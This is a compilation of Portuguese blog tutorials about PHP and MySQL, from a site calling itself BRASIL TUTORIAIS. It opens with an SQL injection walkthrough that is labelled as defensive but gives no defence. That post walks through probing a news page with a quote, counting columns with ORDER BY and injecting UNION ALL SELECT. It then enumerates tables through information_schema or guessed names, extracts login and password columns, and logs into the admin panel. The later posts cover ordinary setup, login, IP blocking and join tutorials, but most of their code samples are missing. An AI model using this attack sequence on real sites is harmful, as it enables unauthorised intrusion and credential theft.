Já ouvi muita gente falar sobre a fragilidades dos sites que podem ser invadidos por um simples comando que faz o sistema intepretar de maneira errada os dados.  Bom para os interessados segue um breve texto para que você saiba mais sobre SQL INJECTION e aprenda a se defender dos maliciosos da web.

Primeiramente quero mostrar para vocês um site onde vocês poderam encontrar mais sobre novas vulnerabilidades, como se proteger de vulnerabilidades da web.

http://www.owasp.org/

Nessa aula estremos aprendendo SQLi, no entanto dessa vez estaremos consultado o database Mysql para obter informações de login e senha.

Aqui esta o site: www.site.com.br/noticias.php?id=10

Para descobrir se pode estar vulneravel, coloque ‘ depois do link, caso dei algum erro tem grande chance de estar vulneravel.

www.site.com.br/noticias.php?id=10‘

Um exemplo de erro: Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/site/public_html/noticias/index.php on line 282

Essa falha é baseada em erros.

Vamos pegar o numero de colunas usando ORDER BY *

É usado dessa maneira:

+order+by+1 //Sem erro

+order+by+2 //Sem erro

+order+by+3 //Sem erro

+order+by+4 //Sem erro

+order+by+5 //Sem erro

+order+by+6 //Erro

www.site.com.br/noticias.php?id=10+order+by+5

Então são apenas 5 colunas

Vamos uni-las, usando UNION ALL SELECT *

http://www.site.com.br/noticias.php?…lect+1,2,3,4,5

Coloque um traço (-) antes do valor da variavel ficando assim:

http://www.site.com.br/noticias.php?…lect+1,2,3,4,5

Irão aparecer numeros, eles que nóis iremos subtituir por informações:

Precisamos encontrar a tabela do login agora, podemos usar Brute Force, ou então information_schema. O information_schema só funciona em databases MYSQL acima de versão acima de 5.0, para descobrir a versão use: version()

+union+all+select+1,version(),3

//–Brute Force–\\

Vamos tentar colocar tabelas até que não apareça erro:

UNION ALL SELECT * FROM ADMIN == erro

“” “” “” “” LOGIN == erro

“” “” “” “” USER == erro

“” “” “” “” USERS == erro

“” “” “” “” USUARIOS == sem erro

Então no caso ficaria assim: http://www.site.com.br/noticias.php?…+from+usuarios

Você pode usar: admin, admins, usuarios, usuario, user, users, user_name, username, login, adm, tb_usuarios, tb_admin … entre outros.

//–INFORMATION_SCHEMA–\\

DATABASE: INFORMATION_SCHEMA

TABELA: TABLES

COLUNA: TABLE_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,TABLE_NAME,3 FROM INFORMATION_SCHEMA.TABLES

Para ir passando de tabela você usa LIMIT *

LIMIT 1,1

LIMIT 2,1

LIMIT 3,1

LIMIT 4,1

LIMIT 5,1

… E assim vai indo até encontrar uma tabela de login.

Ex: http://www.site.com.br/noticias.php?…bles+limit+1,1

//

Vamos agora descobrir as colunas de login, você pode usar as mesmas tecnicas de brute force e information_schema, no entanto information_schema é um pouco diferente:

DATABASE: INFORMATION_SCHEMA

TABELLA: COLUMNS

COLUNA: COLUMN_NAME

Sintaxe = Exemplo: UNION ALL SELECT 1,COLUMN_NAME,3 FROM INFORMATION_SCHEMA.COLUMNS

Para passar de coluna pode usar o LIMIT também.

//

Agora continuando suponhamos que eu tenha pegado a tabela USUARIOS e as colunas LOGIN e SENHA, para pegar as informações de login e senha é so digitar eles no seu site, nos numeros visiveis, suponhamos que tenha parecido o 2 e 3 então vamos substituir eles pela informação:

UNION ALL SELECT 1,LOGIN,SENHA,3,4,5 FROM USUARIOS

http://www.site.com.br/noticias.php?…+from+usuarios

Agora é só encontrar a area de login, geralmente fica em /admin , /adm/ , /administrator /login.php , ou você pode usar o acunetix ou algum outro tool para encontrar a area de login.

Ao encontra-la é só você se logar com as informações que você pegou

Auotr: Twi John

SQL Injection – Conheça mais sobre esta ferramenta is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

No related posts.

Com a crescente do PHP e das soluções abertas nos ultimos anos, vem ccada vez mais se tornando comum desenvolvedores adotarem a plataforma Linux em seu ambiente de produção recorendo a distro Ubuntu uma das mais populares portas de entrada no mundo Linux.

Esse tutorial visa ensinar a quem está descobrindo esse novo mundo como subir um servidor Apache com PHP e MySQl integrados facilmente.

A primeira vista ao falar de Linux as pessoas se lembram de algo complicado, programas que têm de ser instalado na unha e etc. Nada como o Windows que em um clique se resolve tudo instalando um daqueles pacotes de servidores web.

Mas se engana quem acha que os pacotes prontos são exclusividade do Windows, cada vez mais está mais fácil instalar programas no Linux e com a ajuda do XAMPP você conseguirá subir um servidor web completo, com apache, php, mysql, myphpadmin, e ftp, em poucos segundos, vamos aos passos:

1. Baixe o Xammp 1.7 para Linux a partir do site SistemasGerenciais.com. Salve o mesmo na pasta home/(seu_nome_de_usuario)

 

2. Entre com o usuário ROOT no console do Ubuntu (terminal ou shell dependendo da sua versão):

 

Clique em:

 

Aplicações>>Acessorios>>Console

 

e caso não saiba a senha do ROOT digite:

 

sudo passwd

Digite a senha do seu usuário administrador e em seguida digite a nova senha do ROOT
 

3. Digite o comando “su”, aperte enter e digite a senha do ROOT. Isso vai alterar seu usuário para ROOT

 

4. Copie os arquivos compactados para pasta \opt:

No console caminhe até a pasta onde você salvou os arquivos cd /home/(usuario)/ e digite o comando de extração de arquivos TAR

 

tar xvfz xampp-linux-1.7.tar.gz -C ../../opt
 

5. Chame o lampp com o parametro start:

 

/opt/lampp/lampp start

Pronto, tá ai seu servidor mais fácil que no Windows.

Agora para testar basta digitar http://localhost no nagevador, ou o ip/nome da sua máquina.

 

Fonte: sistemasgerenciais

Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Mudando a senha padrão do MySQL
2. Mudando a senha padrão do MySQL
3. Iniciando o uso do MySQL

Aprenda a mudar a senha do usuário padrão do MySQL (root) no Windows e no Linux sem nenhuma grande complicação digitando apenas um ou dois comandos!

Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “root” e a senha será vazia… E isso não é nada seguro, mesmo quando se desenvolve localmente… Hoje vou ensinar como mudar essa senha tanto no Windows quanto no Linux.

Mudando a senha do root no Windows

1. Iniciar > Executar, digite CMD e aperte enter

2. Navegue até o diretório bin dentro da pasta onde o MySQL está instalado, pode ser C:\mysql\bin ou se você estiver usando o XAMPP será C:\xampp\mysql\bin

3. Digite os seguintes comandos:

Pronto, a senha foi modificada… Não se esqueça de mudar a senha do phpMyAdmin (no arquivo config.inc.php).

Mudando a senha do root no Linux

Se você está mudando a senha pela primeira vez é só acessar o terminal e digitar:

Caso você esteja trocando a senha do root é só usar o comando:

Para esses comandos funcionarem você precisa do mysqladmin instalado.

Fonte: ThiagoBelem

Mudando a senha padrão do MySQL is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Mudando a senha padrão do MySQL
2. Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu
3. Iniciando o uso do MySQL

O nosso sistema consistirá em um login simples, validado por usuário e senha (encriptada) contra uma tabela no banco de dados e armazenando os dados na sessão. Haverão dois níveis de acesso para os nossos usuários: normal (1) e administrador (2).

Criando a Tabela MySQL

Você pode executar esse código MySQL para criar a nossa tabela de usuários que tem 7 campos: id, nome, usuario, senha, niveis, ativo e cadastro:

Com isso você já tem uma tabela pronta para o nosso tutorial… Rode esse script se quiser alimentar a tabela com alguns usuários de teste:

Como vocês podem perceber, o nosso campo de senha tem 40 caracteres e quando cadastramos os usuários testes usamos SHA1(’{senha}’) isso significa que usaremos uma senha encriptada… Se você quiser saber mais sobre sha1 veja esse artigo: Criptografia no PHP usando md5, sha1 e base64.

O formulário de Login em XHTML

Vamos criar agora o nosso formulário que será onde o visitante entrará com os dados e será mandado para a pagina validacao.php onde os dados serão validados (ohh).

Como esse artigo não é uma aula sobre formulários e método POST eu vou pular a parte que fala sobre os names desses inputs e a relação deles com o PHP em si.

A validação dos dados

Já temos o banco de dados e o formulário de login… Agora vamos começar a fazer a validação. Os próximos códigos deverão ser colocados dentro do validacao.php que irá tratar os dados recebidos do formulário:

Primeiro de tudo nós precisamos verificar se o usuário de fato preencheu algo no formulário, caso contrário mandamos ele de volta para o index.php:

Com isso, todo código que vier depois desse if estará seguro de que os dados foram preenchidos no formulário.

Agora nós iremos abrir uma conexão com o MySQL mas essa conexão pode ser feita de outra forma, até antes do if se você preferir… Depois de abrir a conexão nós iremos transmitir os dois valores inseridos pelo visitante (usuário e senha) para novas variáveis e usaremos o mysql_real_escape_string() para evitar erros no MySQL.

Agora é hora de validar os dados contra a tabela de usuários:

Repare que estamos buscando registros que tenham o usuário igual ao digitado pelo visitante e que tenham uma senha igual a versão SHA1 da senha digitada pelo visitante… Também buscamos apenas por registros de usuários que estejam ativos, assim quando você precisar remover um usuário do sistema, mas não pode simplesmente excluir o registro é só trocar o valor da coluna ativo pra zero.

A consulta gerada fica mais ou menos assim:

Depois de rodar a consulta (query) nós verificamos se o número de resultados encontrados (ou não) é diferente de um, caso seja é exibida uma mensagem de erro acompanhada de um exit que finaliza o script… Caso ele encontre apenas um resultado nós temos o nosso usuário e já puxamos o seu ID, nome e nível de acesso do banco de dados.

Salvando os dados na sessão

Agora nós precisamos salvar os dados encontrados na sessão pois eles serão utilizados mais tarde, em outras páginas e eles precisam “persistir” até lá… Depois de salvar os dados na sessão nós iremos redirecionar o visitante para uma página restrita:

Verificando se o usuário está logado

Nosso sistema de login está quase completo! Agora só precisamos verificar se o usuário está logado no sistema e se o seu o nível de acesso condiz com o da página… Vamos agora escrever um pequeno bloco de PHP no início do arquivo restrito.php (que só deve ser acessado por usuários logados):

Pronto meu amigo! O seu sistema de login está pronto para funcionar… Só vamos fazer alguns incrementos para ele ficar mais “usável”… Agora você vai ver como fazer a verificação de usuário logado e de nível de acesso, por exemplo para uma página onde apenas os administradores possam ter acesso:

Código de Logout

O arquivo logout.php é tão simples que pode ter uma linha só:

Ou se você preferir, uma versão mais extensa:

–

Quem não conseguir fazer um sistema de login depois dessa aula não vai ganhar batata frita no fim do dia!

Fonte: ThiagoBelem

Como criar um Sistema de Login com Níveis de Permissão is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Sistema de Login utilizando Flash e XML
2. Bloqueando visitantes pelo IP com MySQL e PHP
3. Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu

Após a instalação do MySQL (se você não fizer nada), o usuário padrão será o “root” e a senha será vazia… E isso não é nada seguro, mesmo quando se desenvolve localmente… Hoje vou ensinar como mudar essa senha tanto no Windows quanto no Linux.

Mudando a senha do root no Windows

1. Iniciar > Executar, digite CMD e aperte enter

2. Navegue até o diretório bin dentro da pasta onde o MySQL está instalado, pode ser C:\mysql\bin ou se você estiver usando o XAMPP será C:\xampp\mysql\bin

3. Digite os seguintes comandos:

Pronto, a senha foi modificada… Não se esqueça de mudar a senha do phpMyAdmin (no arquivo config.inc.php).

Mudando a senha do root no Linux

Se você está mudando a senha pela primeira vez é só acessar o terminal e digitar:

Caso você esteja trocando a senha do root é só usar o comando:

Para esses comandos funcionarem você precisa do mysqladmin instalado. 

–

Mudando a senha padrão do MySQL is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Mudando a senha padrão do MySQL
2. Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu
3. Iniciando o uso do MySQL

Banir um visitante de vez, baseando-se no IP dele é, sem dúvida, uma das formas mais simples e eficazes (a curto prazo) de evitar que alguém fique brincando com o seu sistema… Claro que o visitante pode mudar o seu IP sem muito esforço, mas em 99% dos casos isso exigiria pelo menos 1 ou 2 minutos dele… E dependendo da rede e dos conhecimentos dele isso pode não ser possível…

Para salvar a lista de IPs banidos usaremos uma tabela no MySQL que pode ser criada com o seguinte código:

Já a parte em PHP do sistema vai funcionar da seguinte maneira… Quando o visitante tentar acessar o seu site é incluído um arquivo que busca no MySQL se esse IP está na lista de banidos, caso esteja o visitante é redirecionado para outro site/endereço.

Não vou falar como fazer uma conexão ao MySQL porque isso já foi dito N vezes aqui no blog e ocupa um espaço desnecessário na aula.

Antes de verificar se um visitante está “banido” precisamos limpar da tabela os registros que já expiraram… Esse passo é opcional pois quando formos verificar se um usuário está banido vamos verificar também se o período é valido… Vamos lá:

Agora nós vamos verificar se o IP do visitante consta na lista dos que ainda estão banidos:

Agora é só redirecionar o visitante para outra página/endereço:

–

Agora nós vamos criar uma funçãozinha que você vai usar para banir o visitante durante X minutos… Vamos lá:

Aí quando você quiser banir um visitante, seja qual for o motivo, é só usar a função criada:

–Fonte:thiagobelem.net

Bloqueando visitantes pelo IP com MySQL e PHP is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Usar MySQL com PHP
2. Sistema de votação online em PHP e MySQL
3. Sistema de votação online em PHP e MySQL

Hoje vamos a mais um tutorial “step by step” onde vou falar e mostrar como fazer relacionamento entre tabelas no MySQL.

O relacionamento de tabelas é necessário quando temos mais de uma tabela com informações que podem e precisam ser cruzadas, por exemplo: categorias e produtos… Cada registro na tabela produtos estará ligado a um registro da tabela categorias.

Só pra vocês saberem, existem três níveis de relacionamento: nosso exemplo será um relação de 1:N (fala-se “um pra N” ou “um para muitos”) onde cada categoria (1) contém um ou mais produtos (N)… Há também o 1:1 onde cada registro de uma tabela (1) está ligado a um e somente um registro de outra tabela (1)… E há outro nível de relacionamento, mais complexo, que é o N:N onde um ou mais registros de uma tabela (N) estão relacionados a um ou mais registros de outra tabela (N), que seria o exemplo de duas tabelas “produtos” e “tags” onde um produto tem várias tags e vários produtos pertencem a uma tag.

Não vou me aprofundar muito no assunto… Vou falar apenas da relação mais comum (1:N) e dar exemplos de como trabalhar com elas.

Para o nosso exemplo de hoje usaremos duas tabelas, chamadas “categorias” e “produtos”:

E vamos inserir alguns dados para exemplo:

Reparem que na tabela produtos temos uma coluna “especial”, que é a “categoria_id” (INT)… Ela é quem ajudará a fazer a relação das duas tabelas… Nessa coluna entrará o ID da categoria a qual o produto pertence… Ou seja: as duas camisetas pertencem a categoria “Camisetas” (ID 1) e o terceiro produto (a Caneca Grande) pertence a categoria “Canecas” (ID 2) e é na coluna “categoria_id” que armazenamos esses IDs que identificam as categorias.

Esse campo responsável pela relação é normalmente chamado de “foreing key” (fk) ou “chave estrangeira”.

Mas qual a utilidade dessa tal “relação”?

Sem usar o relacionamento você poderia pegar todos os produtos e depois pegar as informações das categorias com uma segunda consulta, assim:

Até aí tudo bem… Não tem nenhum pecado nisso… Mas imagine que você tem uma loja com 1000 produtos (o que não é muito), seria executada 1 consulta para todos os produtos e, dentro do loop (while) seriam executadas outras 1000 consultas para pegar o nome da categoria a qual o produto pertence… Ou seja, 1001 consultas, o que é um absurdo.

A mágica da relação

Agora vamos montar uma consulta que DE UMA SÓ VEZ irá pegar os dados de cada produto e também o nome da categoria… Com isso reduziremos nossas 1001 consultas pra… uma só! Sem mistérios, sem sub-consultas, nem consultas dentro do while()!

Mas antes de mostrar o script vou ajudar a vocês entenderem como a relação é feita… Antes a nossa consulta que pega apenas os produtos era assim:

Sua tradução seria: SELECIONAR todas as colunas da TABELA `produtos` ORDENADO PELO `nome` ASCENDETEMENTE

Agora usaremos uma nova “palavra” do MySQL que é o JOIN (tradução: “unir”) e serve para unir resultados de duas tabelas..

Existem três tipos de JOIN mas não vou falar dos outros dois pois eles são MUITO pouco usados… Falaremos do “INNER JOIN” que exige que haja um registro que corresponda a relação nas duas tabelas, ou seja: se houver um produto sem categoria ou a categoria não existir na tabela categorias esse produto é omitido dos resultados.

A nossa consulta ficará assim:

Sua tradução seria: SELECIONAR todas as colunas [da tabela produtos] da TABELA `produtos` UNINDO A TABELA `categorias` ONDE a coluna `categoria_id` [da tabela produtos] É IGUAL a coluna `id` [da tabela categorias] ORDENADO PELO `nome` [da tabela produtos] ASCENDETEMENTE

A nossa “regra de relação” acontece ali entre o ON e o ORDER BY, dizemos que a relação entre as tabelas usará como referencia a coluna “categoria_id” da tabela “produtos” sendo igual a coluna “id” da tabela “categorias”… Se você fosse usar algum WHERE ele entraria depois do ON e antes do ORDER BY.

Pra quem ainda não entendeu, o ON é como o WHERE de uma consulta normal… É a regra da relação.

Repare que agora precisamos usar um formato diferente para identificar as colunas usando: `tabela`.`coluna`… Isso é necessário pois agora estamos trabalhando com duas tabelas.

Da forma que a nossa consulta está ainda não estamos pegando o nome da categoria… fazemos isso adicionando mais um campo na parte do SELECT, assim:

Agora estamos pegando também o valor da coluna “nome” do registro encontrado (pela relação) na tabela “categorias”.

Só que agora temos um novo problema… Nas duas tabelas existe uma coluna chamada “nome”, e quando estivermos lá no PHP, dentro do while, não teríamos como identificar de qual tabela pegamos as informações (veja a próxima imagem), pois as duas seriam $produto['nome']… Precisamos então renomear esse novo campo que adicionamos a busca, assim:

Agora o resultado de `categorias`.`nome` estará presente nos resultados como “categoria” e não “nome”… Sei que parece complicado de início mas vocês vão entender já já.

E por fim, faremos mais uma modificação, pra evitar ficar usando `tabela`.`coluna` também podemos renomear as tabelas, e com isso diminuir otamanho da consulta:

Nesse caso p representará a tabela “produtos” e c representará a “categorias”.

Sei que parece uma consulta maior e mais complicada… Mas você fará o MySQL trabalhar muito menos se fizer assim, com JOINS, do que fazer uma 2ª consulta dentro do while… Essa é a forma mais correta de fazer consultas quando precisamos de informações vindas de mais de uma tabela.

Agora vamos ao nosso novo script de PHP que, sem dúvidas, é bem mais prático e eficiente:

Os outros tipos de JOINs

Existem também outros dois tipos de JOIN: o LEFT JOIN e o RIGHT JOIN:

Se usássemos o LEFT JOIN seriam retornados todos os produtos, independente se eles estão ligados a uma categoria (na tabela categorias) existente ou não.

Já o RIGHT JOIN seria exatamente o contrário: seriam retornados todos os produtos que pertencem categorias existentes e também o nome das outras categorias que não tem ligação com nenhum produto.

O uso desses outros tipos de JOIN é muito raro e acho que não vale a pena ficar filosofando sobre eles enquanto se aprende sobre relacionamentos.

E a relação com mais de duas tabelas?

Só pra exemplo, essa seria a consulta que pega os produtos, as categorias e o nome do usuário que cadastrou o produto e filtrando apenas pelos produtos ativos:

Fonte:thiagobelem.net

Relacionamento de Tabelas no MySQL is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Usar MySQL com PHP

Algumas das funções do Sql Server

AVG() = Retorna o valor médio de uma coluna específica
BINARY_CHECKSUM() = O valor do BINARY_CHECKSUM computado sobre uma linha ou uma tabela ou sobre uma lista de expressões. BINARY CHECKSUM é usada para detectar alterações em uma linha ou uma tabela.
CHECKSUM() = O valor de CHECKSUM computado sobre uma linha ou uma tabela, ou sobre uma lista de expressões. CHECKSUM é usada para construir índices de hash.
CHECKSUM_AGG() = O valor de CHECKSUM de um grupo. Valores nulos são ignorados.
COUNT() = Retorna o número de linhas
COUNT_BIG() = igual ao COUNT mas o COUNT_BIG sempre retorna um tipo de dados bigint.
MAX() = Retorna o valor máximo de uma coluna específica
MIN() = Retorna o valor mínimo de uma coluna específica
SUM() = Retorna a soma de uma coluna específica
STDEV() = Desvio padrão de todos os valores
STDEVP() = Desvio padrão da população
VAR() = Variância estatistica de todos os valores
VARP() = Variância estatística de todos os valores da população

Funções de manipulação de strings:

ASCII(string) = pega o valor em ASCII da string
CHAR(integer) = troca inteiro do ASCII em um caráter
LEN(string) = Identifica o comprimento de uma expressão em caracteres
LOWER(string) = converte uma string uppercase para lowercase.
LTRIM(string) = remove os espaços em branco
PATINDEX(posicao, expressao) = devolve a posicão de uma string dentro de um texto. Se não encontrar, retorna zero.
REPLICATE(string, integer) = Repete N vezes um caractere especificado
REVERSE(string) = retorna o inverso de uma expressao
RTRIM (string) = remove os espaços em branco à direita de uma string
SPACE(integer) = que retorna o número de espaços em branco informados no parâmetro
STUFF(string texto, X, Y, string texto_a_inserir) = apaga da string “texto” os y caracteres a partir da posição x e os substitui por “texto_a_inserir”
SUBSTRING(string texto, posicao_inicial, tamanho) = retorna uma string com o comprimento definido em “tamanho” extraida da string “texto”, a partir da “posicao_inicial”
UPPER(string) = retorna string em maiusculas

Funções de manipulação de data/hora:

nomes das partes de data:

Year = yy, yyyy
Quarter = qualquer, que
Month = mm, m
Dayofyear = dy, y
Day = dd, d
Week = wk, ww
Hour = hh
Minute = mi, n
Second = ss, s
Millisecond = ms

DATEADD (parte, numero, data) = adiciona um valor a parte de uma data
DATEDIFF (parte, data inicial, data final) = subtrai a data inicial da data final, indicando o resultado na unidade definida em “parte”
GETDATE() = retorna a data atual do sistema
DATENAME (parte, data) = retorna o nome da parte de uma data
DATEPART(parte, data) = retorna a parte de uma data

Funções de Sistema:

CAST(expressao as datatype) = converte uma expressao no datatype informado
COL_LENGTH(nome_da_tabela, nome_da_coluna) = retorna o tamanho da coluna
COL_NAME(id_da_tabela, id_da_coluna) = retorna o nome da coluna
DATALENGTH(expressao) = retorna o numero de bytes usados para armazenar a expressao
DB_ID(nome_do_banco) = retorna o ID do banco informado
DB_NAME(id_do_banco) = retorna o nome do banco
HOST_ID() = retorna a ID da estação que está acessando o SQL Server
HOST_NAME() = retorna o nome da estação que está acessando o SQL Server
IDENT_INCR(nome_da_tabela_ou_view) = retorna o valor incrementado
IDENT_SEED(tabela_ou_view) = retorna o valor inicial da coluna
INDEX_COL(nome_da_tabela, indice_id, chave_id) = retorna o nome da coluna que participa do índice
ISNULL(expressao, valor) = se a expressao for null, troca pelo valor especificado
ISNUMERIC(expressao) = retorna 1 se a expressao for numerica e 0 se não for
NEWID() = retorna um novo valor do tipo uniqueidentifier
NULLIF(expressao_1, expressao_2) = retorna nulo se as duas expressoes forem equivalentes. Se não forem, retorna a primeira expressao.
OBJECT_ID(nome_do_objeto) = retorna o ID de um objeto, a partir do nome fornecido
OBJECT_NAME(ID_do_objeto) = retorna o nome do objeto, a partir do ID fornecido
PARSENAME(objeto, parte) = retorna a parte do nome de um objeto, desde que tenha sido qualificado
STATS_DATE(tabela_id, indice_id) = retorna a data em que as estatísticas do índice foram atualizadas
SUSER_SID(nome_do_usuario) = retorna o ID do usuario informado
SUSER_NAME(usuario_id) = retorna o id do usuário no servidor. O argumento é opcional.
SUSER_SNAME(id_do_usuario) = retorna o nome do usuario informado. Se nenhum ID de usuario for passado para a função, retorna o nome do usuario logado
USER_ID(nome_do_usuario) = retorna o ID do usuario informado para o BD em uso
USER_NAME(id_do_usuario) = retorna o usuario conectado ao BD

Funções Matematicas:

ABS(numero) = retorna o valor absoluto do numero
ACOS(float) = retorna o arco-coseno do numero informado
ASIN(float) = retorna o arco-seno do numero informado
ATAN(float) = retorna o arco-tangente do numero informado
ATN2(Float expressao_1, float expressao_2) = Arco-tangente do valor definido pela divisão da primeira expressão pela segunda
CEILING(numero) = retorna o menor inteiro que seja maior ou igual ao numero informado
COS(float) = retorna o coseno do numero informado
COT(float) = retorna o cotangente do numero informado
DEGREES(numero) = converte radianos para graus
EXP(float) = retorna o exponencial de um numero especificado
FLOOR(numero) = retorna o maior inteiro que seja menor ou igual ao numero informado
LOG(float) = retorna o logaritmo natural do numero informado
LOG10(float) = retorna o logaritmo base 10 do numero informado
PI() = retorna o valor de PI 3.1415926535897931.
POWER(numero, potencia) = retorna o valor elevado à potencia informada
RADIANS(numero) = converte graus para radianos
RAND(expressao) = um número aleatório entre 0 e 1. Expressão é opcional e será usada como semente da cadeia pseudo-aleatória
ROUND(numero, precisao, arredonda_ou_trancar) = arredonda ou tranca o numero fornecido de acordo com a precisao informada. Se o terceiro parametro não for passado para a funçao, o numero é arredondado. Se quiser que o numero seja truncado, deve-se fornecer o valor 1
SIGN(numero) = retorna sinal positivo, negativo ou zero do numero
SIN(float) = retorna o seno do angulo especificado
SQRT(float) = retorna a raiz quadrada de um numero
TAN(float) = retorna a tangente de um numero informado
SQUARE(float) = retorna o quadrado de um numero

Função de conversão:

CONVERT(tipo(tamanho), expressão, estilo) = converte a expressão para o tipo de dado. O tamanho e o estilo são opcionais

Funções do Sql Server is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. SQL Injection – Conheça mais sobre esta ferramenta
2. Funções para tratamento de Arrays

Esse artigo tem como objetivo apresentar, para os iniciantes, a metodologia para instalação e configuração inicial do sistema gerenciador de banco de dados MySQL.

Inicialmente, você deverá escolher em qual o Sistema Operacional (SO) você pretende trabalhar, visto que o MySQL possui suporte a um número considerável de SOs. A forma de instalação poderá variar de um SO para outro. Portanto, aqui serão apresentados os métodos de instalação para o Linux e Windows que são os SOs utilizados com maior freqüência.

Primeiro, você deverá obter o instalador do MySQL, sendo que você poderá optar por fazer uma instalação a partir do código fonte do sistema ou a partir de um binário compilado especificamente para o seu SO. Faça o download do MySQL a partir do endereço www.mysql.com/downloads. A versão em produção do servidor é a 4.0, que no momento da escrita deste artigo está na release 4.0.18. Prefira as releases estáveis para a utilização em ambientes de produção. Existe ainda a versão 4.1, que possui recursos como sub-queries e SSL (tráfego seguro entre o cliente e o servidor), além da versão 5.0 que possui Stored Procedures e cursores, sendo que as duas últimas são versões em desenvolvimento, não sendo recomendada a sua utilização em ambientes de produção. Na página de downloads você também poderá obter ferramentas gráficas para administração do banco de dados tais como MySQLCC e MySQL Administrator, bem como programas para conexão ao sevidor MySQL, sendo elas as APIs e os drivers ODBC e JDBC, respectivamente, o MyODBC e o Connector/J.
Uma vez determinada a versão que se pretende instalar você deverá escolher o SO, por exemplo Windows ou Linux i386, fazer o download dos arquivos e iniciar o procedimento de instalação. Os métodos de instalação para Linux e Windows são apresentados seguir:

Instalando o MySQL no Linux:

Existem duas formas de instalação do MySQL no Linux, que são o RPM (RedHat Package Management) e o tar.gz, conhecido também como tarball. No primeiro caso, você deverá obter os arquivos MySQL-server-[versão].rpm e MySQL-client-[versão].rpm e executar o comando:

shell>rpm -i MySQL-server-[versão].rpm MySQL-client-[versão].rpm

O comando acima instala o servidor e os clientes padrão MySQL, sendo que todos os recursos necessários para a execução do servidor de banco de dados são criados de forma automática. Ao final da operação o MySQL estará em execução. Uma vez instalado o servidor, informe uma senha para o usuário root, que é o administrador do banco de dados:

shell>mysql -u root
mysql>set password for root=password(’sua_senha’);

Se você optar pela instalação tarball você deverá executar os seguintes passos:

1- Faça o download do arquivo:

MySQL-[versão].tar.gz (usualmente em /usr/local)

2- Descompacte o seguinte arquivo:

shell> gunzip MySQL-[versão].tar.gz | tar xvf
shell> ln -s MySQL-[versão] mysql

3- Crie o usuário e o grupo mysql:

shell>groupadd mysql
shell>useradd -g mysql mysql

4- Mude a permissão dos arquivos

shell>chown mysql.mysql /usr/local/mysql -R

5- Execute o servidor

shell>cd /usr/local/mysql
shell>bin/mysqld_safe &

Assim, o servidor estará em execução e pronto para ser utilizado.

É importante observar que a instalação do MySQL não cria o arquivo de configuração para o servidor, daí você poderá criar o seu próprio arquivo de configuração chamdo my.cnf e colocá-lo no diretório /etc, ou copiar para este diretório – com o nome de my.cnf – um dos arquivos de configuração exemplo colocados no /usr/share/mysql. Uma descrição de todos parâmetros de configuração do MySQL pode ser encontrada em www.mysql.com/documentation. De um modo geral, o MySQL pode ser utilizado de forma eficiente, mesmo a partir da sua configuração default.

Instalando o MySQL no Windows:

A instalação no Windows é feita através de um setup que instala tanto o servidor quanto os clientes MySQL. Ao final da instalação também será necessário informar uma senha para o usuário root, assim como no Linux. O arquivo de configuração do servidor no Windows fica no win-sys-dir/my.ini. Para iniciar o servidor e configurá-lo você poderá executar o WinMySQLAdmin que é colocado por default em c:\mysql\bin.

Com isto, podemos iniciar a utilização do MySQL, espero que aproveitem as dicas aqui apresentadas. Em breve estarei de volta com mais detalhes a respeito deste banco de dados.

Eber M. Duarte
sqlmagazine.com.br

Iniciando o uso do MySQL is a post from: BRASIL TUTORIAIS - Tudo sobre tutoriais

NOTICIAS RELACIONADAS:

1. Como instalar PHP, MySQL, PHPMyAdmin e FTP no Ubuntu
2. Mudando a senha padrão do MySQL
3. Mudando a senha padrão do MySQL